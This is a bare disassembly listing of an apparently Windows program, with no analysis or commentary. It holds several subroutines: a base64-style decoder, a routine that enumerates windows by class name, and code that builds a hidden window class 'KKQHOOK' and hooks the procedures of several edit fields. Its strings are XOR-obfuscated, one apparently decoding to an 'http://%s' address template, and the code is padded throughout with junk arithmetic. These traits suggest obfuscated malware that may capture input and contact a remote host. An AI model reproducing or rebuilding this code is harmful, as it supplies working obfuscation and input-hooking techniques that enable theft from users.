var_23		= byte ptr -23h
var_22		= word ptr -22h
var_1F		= byte ptr -1Fh
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_16], 2123h
		inc	[ebp+var_16]
		lea	edi, [ebp+var_1F]
		lea	esi, aVyfuC_0	; "+vyfu C"
		movsd
		movsd
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ebx, [ebp+arg_0]
		jmp	loc_408BA8
; ---------------------------------------------------------------------------


loc_408AA1:				; CODE XREF: sub_408A61+152j
		mov	[ebp+var_23], 33h
		add	[ebp+var_23], 1
		movsx	edi, byte ptr [ebx]
		shl	edi, 2
		mov	edi, dword_445550[edi]
		mov	[ebp+var_4], edi
		mov	[ebp+var_22], 661Eh
		movzx	eax, [ebp+var_22]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_22], ax
		cmp	edi, 0FFFFFFFFh
		jz	loc_408BA7
		mov	[ebp+var_26], 8F2h
		add	[ebp+var_26], 3614h
		mov	eax, [ebp+var_10]
		or	eax, eax
		jl	loc_408BA1
		cmp	eax, 3
		jg	loc_408BA1
		jmp	off_445958[eax*4]
; ---------------------------------------------------------------------------
		mov	[ebp+var_31], 0C0h
		add	[ebp+var_31], 6Dh


loc_408B05:				; CODE XREF: sub_408A61+95j
					; DATA XREF: .data:off_445958o
		inc	[ebp+var_10]
		jmp	loc_408BA1
; ---------------------------------------------------------------------------


loc_408B0D:				; CODE XREF: sub_408A61+95j
					; DATA XREF: .data:0044595Co
		mov	edi, [ebp+var_14]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		and	esi, 30h
		sar	esi, 4
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_17], dl
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408BA1
; ---------------------------------------------------------------------------


loc_408B33:				; CODE XREF: sub_408A61+95j
					; DATA XREF: .data:00445960o
		mov	edi, [ebp+var_14]
		and	edi, 0Fh
		shl	edi, 4
		mov	esi, [ebp+var_4]
		and	esi, 3Ch
		sar	esi, 2
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_17], dl
		lea	edi, [ebp+var_37]
		lea	esi, a7cx_0	; "#7CX|"
		mov	ecx, 3
		rep movsw
		mov	eax, [ebp+var_8]
		mov	edx, eax
		inc	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408BA1
; ---------------------------------------------------------------------------


loc_408B70:				; CODE XREF: sub_408A61+95j
					; DATA XREF: .data:00445964o
		mov	edi, [ebp+var_14]
		and	edi, 3
		shl	edi, 6
		or	edi, [ebp+var_4]
		mov	edx, edi
		mov	[ebp+var_17], dl
		mov	[ebp+var_30], 7FF8h
		mov	eax, [ebp+var_30]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		and	[ebp+var_10], 0


loc_408BA1:				; CODE XREF: sub_408A61+86j
					; sub_408A61+8Fj ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], eax


loc_408BA7:				; CODE XREF: sub_408A61+6Fj
		inc	ebx


loc_408BA8:				; CODE XREF: sub_408A61+3Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_408BB9
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_408AA1


loc_408BB9:				; CODE XREF: sub_408A61+14Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_408BE7
		mov	[ebp+var_22], 2AB1h
		sub	[ebp+var_22], 52DFh
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_408BEA
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-28h], 1FFAh
		mov	eax, 13D0h
		mul	dword ptr [ebp-28h]
		mov	[ebp+var_2C], eax
		mov	[ebp-28h], eax


loc_408BE7:				; CODE XREF: sub_408A61+15Bj
		or	eax, 0FFFFFFFFh


loc_408BEA:				; CODE XREF: sub_408A61+16Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408A61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BEF	proc near		; CODE XREF: sub_408C98+2Ep
					; sub_408C98+48p ...

var_1009	= byte ptr -1009h
var_1003	= byte ptr -1003h
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0D7h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	5
		push	[ebp+arg_0]
		call	sub_40C410	; GetWindow
		mov	ebx, eax
		mov	[ebp+var_4], 4FCh
		inc	[ebp+var_4]


loc_408C26:				; CODE XREF: sub_408BEF+A2j
		or	ebx, ebx
		jnz	short loc_408C2E
		xor	eax, eax
		jmp	short loc_408C93
; ---------------------------------------------------------------------------


loc_408C2E:				; CODE XREF: sub_408BEF+39j
		call	sub_40C1F4	; GetProcessHeap
		lea	edi, [ebp+var_1009]
		lea	esi, aNF8	; "=n`F8"
		mov	ecx, 3
		rep movsw
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		push	ebx
		call	sub_40C41C	; GetClassNameA
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, 8
		sub	eax, dword_43B094
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40181E
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_408C87
		mov	eax, ebx
		jmp	short loc_408C93
; ---------------------------------------------------------------------------


loc_408C87:				; CODE XREF: sub_408BEF+92j
		push	2
		push	ebx
		call	sub_40C410	; GetWindow
		mov	ebx, eax
		jmp	short loc_408C26
; ---------------------------------------------------------------------------


loc_408C93:				; CODE XREF: sub_408BEF+3Dj
					; sub_408BEF+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C98	proc near		; CODE XREF: sub_40ADF7+1C0p

var_174		= dword	ptr -174h
var_16F		= byte ptr -16Fh
var_16C		= dword	ptr -16Ch
var_167		= byte ptr -167h
var_166		= byte ptr -166h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_155		= dword	ptr -155h
var_151		= byte ptr -151h
var_149		= word ptr -149h
var_147		= byte ptr -147h
var_142		= byte ptr -142h
var_141		= byte ptr -141h
var_140		= dword	ptr -140h
var_13A		= word ptr -13Ah
var_137		= byte ptr -137h
var_136		= word ptr -136h
var_134		= word ptr -134h
var_132		= word ptr -132h
var_12F		= byte ptr -12Fh
var_12E		= word ptr -12Eh
var_12C		= dword	ptr -12Ch
var_127		= byte ptr -127h
var_126		= byte ptr -126h
var_125		= byte ptr -125h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_115		= byte ptr -115h
var_114		= word ptr -114h
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 174h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11E], 12F1h
		add	[ebp+var_11E], 5A6Ch
		push	9
		push	offset aQuTXud	; "´Ÿ“¿’š•“„"
		call	sub_40129C
		push	eax
		push	[ebp+arg_0]
		call	sub_408BEF
		mov	ebx, eax
		call	sub_40C194	; GetCurrentThreadId
		push	8
		push	offset aIaQvxv	; "µˆ€œŸ‚•‚"
		call	sub_40129C
		push	eax
		push	ebx
		call	sub_408BEF
		mov	ds:dword_41C844, eax
		mov	[ebp+var_114], 6339h
		movzx	eax, [ebp+var_114]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_114], ax
		push	0
		push	ds:dword_41C844
		call	sub_40C500	; ShowWindow
		mov	[ebp+var_120], 455h
		movzx	eax, [ebp+var_120]
		imul	eax, 3CD3h
		mov	[ebp+var_120], ax
		lea	eax, [ebp+var_112]
		push	eax
		push	ebx
		call	sub_40C3F8	; GetWindowRect
		mov	[ebp+var_115], 0E2h
		movzx	eax, [ebp+var_115]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_115], al
		push	0
		push	ds:dword_41D928
		push	0
		push	ebx
		mov	eax, [ebp+var_106]
		sub	eax, [ebp+var_10E]
		push	eax
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		push	eax
		push	0
		push	0
		push	50800000h
		push	offset byte_446481
		push	offset aKkqhook	; "KKQHOOK"
		push	200h
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41EBD4, eax
		call	sub_40C188	; GetCurrentProcessId
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp+var_15C], eax
		push	19h
		push	offset dword_445D94
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		mov	esi, edi
		add	esi, 2Ah
		push	esi
		mov	esi, [ebp+var_10A]
		sub	esi, [ebp+var_112]
		sub	esi, 64h
		push	esi
		add	edi, 2
		push	edi
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_15C]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41C840, eax
		call	sub_40C218	; GetTickCount
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		add	edi, 11Ah
		push	edi
		mov	edi, [ebp+var_10A]
		sub	edi, [ebp+var_112]
		sub	edi, 64h
		push	edi
		mov	edi, dword_43B098
		add	edi, 3Fh
		push	edi
		mov	edi, dword_43B094
		add	edi, 0Dh
		push	edi
		push	50800009h
		push	offset byte_446481
		push	eax
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_42FCFC, eax
		mov	[ebp+var_124], 25F0h
		sub	[ebp+var_124], 78EFh
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	2BCh
		push	0
		push	0
		mov	eax, 1Ah
		sub	eax, dword_43B098
		push	eax
		mov	eax, dword_43B094
		add	eax, 0Dh
		push	eax
		call	sub_40C578	; CreateFontA
		mov	[ebp+var_140], eax
		mov	[ebp+var_125], 1Ah
		movzx	eax, [ebp+var_125]
		imul	eax, 3B5Bh
		mov	[ebp+var_125], al
		push	1
		push	[ebp+var_140]
		push	30h
		push	ds:dword_41C840
		call	sub_40C4DC	; SendMessageA
		call	sub_40C1F4	; GetProcessHeap
		push	8
		push	offset aI_1	; "³¿½²¿²¿¨"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_42FCFC
		mov	edi, dword_43B098
		add	edi, 11Ah
		push	edi
		mov	edi, dword_43B098
		add	edi, 20h
		push	edi
		mov	edi, dword_43B094
		add	edi, 33h
		push	edi
		mov	edi, dword_43B098
		add	edi, 2
		push	edi
		push	50800003h
		push	offset byte_446481
		push	eax
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_431E90, eax
		mov	[ebp+var_126], 83h
		add	[ebp+var_126], 1
		push	8
		push	offset aI_1	; "³¿½²¿²¿¨"
		call	sub_40129C
		add	esp, 48h
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_42FCFC
		mov	edi, dword_43B094
		add	edi, 125h
		push	edi
		mov	edi, dword_43B098
		add	edi, 2Ah
		push	edi
		mov	edi, dword_43B098
		add	edi, 28h
		push	edi
		mov	edi, dword_43B098
		add	edi, 40h
		push	edi
		push	50800003h
		push	offset byte_446481
		push	eax
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41D920, eax
		mov	[ebp+var_127], 0E2h
		add	[ebp+var_127], 0DBh
		mov	[ebp+var_2], 1
		jmp	loc_40907C
; ---------------------------------------------------------------------------


loc_408FDE:				; CODE XREF: sub_408C98+3EBj
		call	sub_40C194	; GetCurrentThreadId
		lea	edi, [ebp+var_16F]
		lea	esi, a5papg	; "*5pApG&"
		movsd
		movsd
		push	4
		push	offset aE	; "ÕÞÂ…"
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		push	edi
		push	eax
		lea	edi, [ebp+var_166]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_166]
		push	eax
		push	0
		push	143h
		push	ds:dword_431E90
		call	sub_40C4DC	; SendMessageA
		mov	[ebp+var_167], 39h
		sub	[ebp+var_167], 0D0h
		push	6
		push	offset aE_0	; "ÂÀÕÞÂ…"
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		add	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_166]
		push	edi
		call	sub_40C6B0
		add	esp, 28h
		lea	eax, [ebp+var_166]
		push	eax
		push	0
		push	143h
		push	ds:dword_41D920
		call	sub_40C4DC	; SendMessageA
		call	sub_40C1B8	; RtlGetLastWin32Error
		inc	[ebp+var_2]


loc_40907C:				; CODE XREF: sub_408C98+341j
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	loc_408FDE
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp+var_160], eax
		push	10h
		push	offset aIqevUsvfUeatxv ; "©Ÿ…‚Г‘‚”О…’•‚"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B094
		add	edi, 9
		push	edi
		mov	edi, dword_43B094
		add	edi, 60h
		push	edi
		mov	edi, dword_43B098
		add	edi, 5Ch
		push	edi
		mov	edi, dword_43B094
		add	edi, 0BCh
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_160]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_413C98, eax
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp+var_164], eax
		push	0Fh
		push	offset aIasvsdsquFsdx ;	"µˆ€™‚‘„™ŸžÐ”‘„•"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43B098
		add	edi, 45h
		push	edi
		mov	edi, dword_43B098
		add	edi, 7Fh
		push	edi
		mov	edi, dword_43B098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_164]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_431E88, eax
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp-168h], eax
		push	0Ch
		push	offset aDAQfx	; "±¤½Ð ¹¾Ý³Ÿ”•"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43B098
		add	edi, 44h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0A7h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0B1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-168h]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_434148, eax
		lea	edi, [ebp+var_141]
		lea	esi, byte_445976
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp+var_16C], eax
		push	4Ah
		push	offset aEustXDqSedsqvs ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•Þб¤½Ð ¹¾Ý³Ÿ”•ЙƒÐ‚•"...
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B094
		add	edi, 9
		push	edi
		mov	edi, dword_43B098
		add	edi, 1D2h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0D4h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0Ch
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_16C]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_431E8C, eax
		mov	[ebp+var_12C], 43EBh
		inc	[ebp+var_12C]
		push	6
		push	offset aGdD	; "£¤±¤¹³"
		call	sub_40129C
		mov	[ebp-170h], eax
		push	26h
		push	offset aAXsgxAsixUqvvx ; " œ•‘ƒ•Б›•ГŸ‚‚•“„™ŸžƒÐ‘ž”Є‚‰Ð‘—‘™žÞ"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		mov	esi, 22h
		sub	esi, edi
		push	esi
		mov	edi, dword_43B098
		add	edi, 0EBh
		push	edi
		mov	edi, dword_43B094
		add	edi, 0F8h
		push	edi
		mov	edi, dword_43B094
		add	edi, 17h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-170h]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_43937C, eax
		call	sub_40C1B8	; RtlGetLastWin32Error
		lea	edi, [ebp+var_142]
		lea	esi, byte_445977
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	offset byte_432F80
		lea	eax, [ebp+var_102]
		push	eax
		call	sub_40C6B0
		add	esp, 58h
		call	sub_40C1F4	; GetProcessHeap
		mov	[ebp+var_3], 4
		jmp	short loc_40933E
; ---------------------------------------------------------------------------


loc_40932E:				; CODE XREF: sub_408C98+6ABj
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+var_102], 78h
		add	[ebp+var_3], 1


loc_40933E:				; CODE XREF: sub_408C98+694j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_40932E
		mov	[ebp+var_12E], 6F86h
		inc	[ebp+var_12E]
		push	4
		push	offset aD	; "µ´¹¤"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_42FCFC
		mov	edi, dword_43B098
		add	edi, 6
		push	edi
		mov	edi, dword_43B098
		add	edi, 70h
		push	edi
		mov	edi, dword_43B094
		add	edi, 0Dh
		push	edi
		mov	edi, dword_43B098
		add	edi, 2
		push	edi
		push	50800800h
		lea	edi, [ebp+var_102]
		push	edi
		push	eax
		push	200h
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41076C, eax
		mov	[ebp+var_11C], 97h
		mov	eax, [ebp+var_11C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_11C], edx
		push	4
		push	offset aD	; "µ´¹¤"
		call	sub_40129C
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_42FCFC
		mov	edi, dword_43B094
		add	edi, 11h
		push	edi
		mov	edi, dword_43B098
		add	edi, 34h
		push	edi
		mov	edi, dword_43B094
		add	edi, 58h
		push	edi
		mov	edi, dword_43B094
		add	edi, 0Dh
		push	edi
		push	50800000h
		push	offset byte_446481
		push	eax
		push	200h
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41D918, eax
		push	0
		push	78h
		push	0CCh
		push	eax
		call	sub_40C4DC	; SendMessageA
		mov	[ebp+var_12F], 39h
		add	[ebp+var_12F], 1
		push	6
		push	offset aEdd	; "²¥¤¤¿¾"
		call	sub_40129C
		mov	[ebp+var_174], eax
		push	16h
		push	offset aSuiUuxDqQudsue ; "³œ™“›Ð¿ž“•ФŸÐ³Ÿž„™ž…•"
		call	sub_40129C
		add	esp, 20h
		push	0
		push	ds:dword_41D928
		push	0
		push	ds:dword_41EBD4
		mov	edi, dword_43B098
		add	edi, 5
		push	edi
		mov	edi, dword_43B094
		add	edi, 94h
		push	edi
		mov	edi, dword_43B098
		add	edi, 12Eh
		push	edi
		mov	edi, dword_43B098
		add	edi, 0Ch
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_174]
		push	edi
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_43414C, eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	190h
		push	0
		push	0
		mov	eax, 18h
		sub	eax, dword_43B098
		push	eax
		mov	eax, dword_43B094
		add	eax, 9
		push	eax
		call	sub_40C578	; CreateFontA
		mov	ebx, eax
		push	1
		push	ebx
		push	30h
		push	ds:dword_431E90
		call	sub_40C4DC	; SendMessageA
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	1
		push	ebx
		push	30h
		push	ds:dword_41D920
		call	sub_40C4DC	; SendMessageA
		lea	edi, [ebp+var_147]
		lea	esi, a6K	; "6#,K"
		mov	ecx, 5
		rep movsb
		push	1
		push	ebx
		push	30h
		push	ds:dword_41076C
		call	sub_40C4DC	; SendMessageA
		mov	[ebp+var_132], 334h
		add	[ebp+var_132], 4DDCh
		push	1
		push	ebx
		push	30h
		push	ds:dword_41D918
		call	sub_40C4DC	; SendMessageA
		mov	[ebp+var_134], 31D4h
		add	[ebp+var_134], 70BBh
		push	1
		push	ebx
		push	30h
		push	ds:dword_431E88
		call	sub_40C4DC	; SendMessageA
		mov	[ebp+var_136], 723h
		add	[ebp+var_136], 5AB8h
		push	1
		push	ebx
		push	30h
		push	ds:dword_413C98
		call	sub_40C4DC	; SendMessageA
		call	sub_40C218	; GetTickCount
		push	1
		push	ebx
		push	30h
		push	ds:dword_434148
		call	sub_40C4DC	; SendMessageA
		call	sub_40C188	; GetCurrentProcessId
		push	1
		push	ebx
		push	30h
		push	ds:dword_43414C
		call	sub_40C4DC	; SendMessageA
		call	sub_40C188	; GetCurrentProcessId
		push	0FFFFFFFCh
		push	ds:dword_431E90
		call	sub_40C488	; GetWindowLongA
		mov	ds:dword_41EAC4, eax
		mov	ax, word_44597D
		mov	[ebp+var_149], ax
		push	offset sub_40ACD5
		push	0FFFFFFFCh
		push	ds:dword_431E90
		call	sub_40C494	; SetWindowLongA
		lea	edi, [ebp+var_151]
		lea	esi, aRjhghl6	; "RJHGHl6"
		movsd
		movsd
		push	0FFFFFFFCh
		push	ds:dword_41D920
		call	sub_40C488	; GetWindowLongA
		mov	ds:dword_41D91C, eax
		push	offset sub_40ACD5
		push	0FFFFFFFCh
		push	ds:dword_41D920
		call	sub_40C494	; SetWindowLongA
		mov	[ebp+var_137], 4Ch
		add	[ebp+var_137], 1
		push	0FFFFFFFCh
		push	ds:dword_41076C
		call	sub_40C488	; GetWindowLongA
		mov	ds:dword_40DFBC, eax
		mov	eax, dword_445987
		mov	[ebp+var_155], eax
		push	offset sub_40ACD5
		push	0FFFFFFFCh
		push	ds:dword_41076C
		call	sub_40C494	; SetWindowLongA
		mov	[ebp+var_13A], 62Dh
		movzx	eax, [ebp+var_13A]
		imul	eax, 6BB4h
		mov	[ebp+var_13A], ax
		push	0FFFFFFFCh
		push	ds:dword_41D918
		call	sub_40C488	; GetWindowLongA
		mov	ds:dword_413C94, eax
		call	sub_40C194	; GetCurrentThreadId
		push	offset sub_40ACD5
		push	0FFFFFFFCh
		push	ds:dword_41D918
		call	sub_40C494	; SetWindowLongA
		lea	edi, [ebp+var_158]
		lea	esi, byte_44598B
		mov	ecx, 3
		rep movsb
		push	ds:dword_431E90
		call	sub_40C428	; SetFocus
		call	sub_40C224	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408C98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4096E4	proc near		; DATA XREF: sub_40A4E2+771o

var_55DC	= dword	ptr -55DCh
var_55D5	= byte ptr -55D5h
var_55CF	= byte ptr -55CFh
var_55CA	= word ptr -55CAh
var_55C8	= word ptr -55C8h
var_55C5	= byte ptr -55C5h
var_55BE	= byte ptr -55BEh
var_4714	= dword	ptr -4714h
var_4710	= byte ptr -4710h
var_470F	= byte ptr -470Fh
var_4708	= byte ptr -4708h
var_4700	= dword	ptr -4700h
var_46FC	= dword	ptr -46FCh
var_46F8	= dword	ptr -46F8h
var_46F4	= byte ptr -46F4h
var_46EC	= dword	ptr -46ECh
var_46E8	= dword	ptr -46E8h
var_46E2	= word ptr -46E2h
var_46DF	= byte ptr -46DFh
var_46DE	= word ptr -46DEh
var_46DC	= dword	ptr -46DCh
var_46D6	= word ptr -46D6h
var_46D3	= byte ptr -46D3h
var_45D4	= byte ptr -45D4h
var_45D0	= dword	ptr -45D0h
var_45CC	= dword	ptr -45CCh
var_45C8	= dword	ptr -45C8h
var_45C3	= byte ptr -45C3h
var_45BF	= byte ptr -45BFh
var_35DC	= dword	ptr -35DCh
var_35D8	= dword	ptr -35D8h
var_35D2	= byte ptr -35D2h
var_35CA	= byte ptr -35CAh
var_35C9	= byte ptr -35C9h
var_35C8	= dword	ptr -35C8h
var_35C4	= dword	ptr -35C4h
var_35C0	= dword	ptr -35C0h
var_35BC	= dword	ptr -35BCh
var_35B7	= byte ptr -35B7h
var_25B8	= byte ptr -25B8h
var_25B3	= byte ptr -25B3h
var_15C4	= dword	ptr -15C4h
var_15C0	= dword	ptr -15C0h
var_15BA	= byte ptr -15BAh
var_15B9	= byte ptr -15B9h
var_15B6	= word ptr -15B6h
var_15B4	= dword	ptr -15B4h
var_115F	= word ptr -115Fh
var_115D	= byte ptr -115Dh
var_1155	= byte ptr -1155h
var_1150	= byte ptr -1150h
var_114C	= word ptr -114Ch
var_1149	= byte ptr -1149h
var_1141	= byte ptr -1141h
var_1139	= byte ptr -1139h
var_1132	= byte ptr -1132h
var_112C	= dword	ptr -112Ch
var_1127	= byte ptr -1127h
var_1028	= dword	ptr -1028h
var_1022	= word ptr -1022h
var_1020	= byte ptr -1020h
var_101F	= byte ptr -101Fh
var_101E	= byte ptr -101Eh
var_101D	= byte ptr -101Dh
var_101C	= word ptr -101Ch
var_1019	= byte ptr -1019h
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_100F	= byte ptr -100Fh
var_F0B		= byte ptr -0F0Bh
var_E0C		= dword	ptr -0E0Ch
var_E08		= byte ptr -0E08h
var_608		= dword	ptr -608h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_200		= byte ptr -200h
var_1FD		= byte ptr -1FDh
var_1FB		= byte ptr -1FBh
var_1A8		= byte ptr -1A8h
var_1A7		= byte ptr -1A7h

		push	ebp
		mov	ebp, esp
		mov	eax, 55DCh
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C224	; GetVersion
		mov	eax, dword_44598E
		mov	[ebp+var_112C+1], eax
		lea	edi, [ebp+var_1132]
		lea	esi, aXei?	; " xeI?<"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_1139]
		lea	esi, aZmbL	; "zMB%L "
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_1141]
		lea	esi, aCdeDa	; "<Cde;Da"
		movsd
		movsd
		lea	edi, [ebp+var_1149]
		lea	esi, dword_4459A8
		mov	ecx, 2
		rep movsd
		call	sub_40C218	; GetTickCount
		push	eax
		call	sub_40C6BC
		pop	ecx
		call	sub_40C1F4	; GetProcessHeap


loc_40975C:				; CODE XREF: sub_4096E4+D92j
		mov	eax, 1Ah
		sub	eax, dword_43B098
		push	eax
		lea	eax, [ebp+var_F0B]
		push	eax
		call	sub_401719
		mov	[ebp+var_101C],	64C5h
		sub	[ebp+var_101C],	6938h
		push	9
		push	offset aGmGFsd	; "Õƒ¬ÕƒÞ”‘„"
		call	sub_40129C
		lea	edi, [ebp+var_F0B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40352B
		mov	[ebp+var_101D],	1Ah
		sub	[ebp+var_101D],	0F5h
		mov	ax, word_4459B0
		mov	[ebp+var_114C+1], ax
		push	9
		push	offset aSddaG	; "˜„„€ÊßßÕƒ"
		call	sub_40129C
		mov	edi, dword_43B0B0
		push	off_43B0B8[edi*4]
		push	eax
		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40C6B0
		mov	[ebp+var_101E],	5Ah
		movzx	eax, [ebp+var_101E]
		imul	eax, 4786h
		mov	[ebp+var_101E],	al
		push	1
		push	offset asc_445CA6 ; "ß"
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43B098
		push	edi
		push	eax
		mov	edi, dword_43B0B0
		push	off_43B0B8[edi*4]
		call	sub_40181E
		add	esp, 4Ch
		cmp	eax, 0FFFFh
		jnz	short loc_409863
		push	9
		push	offset aZuxgAsa	; "߇“•ƒÞ€˜€"
		call	sub_40129C
		push	eax
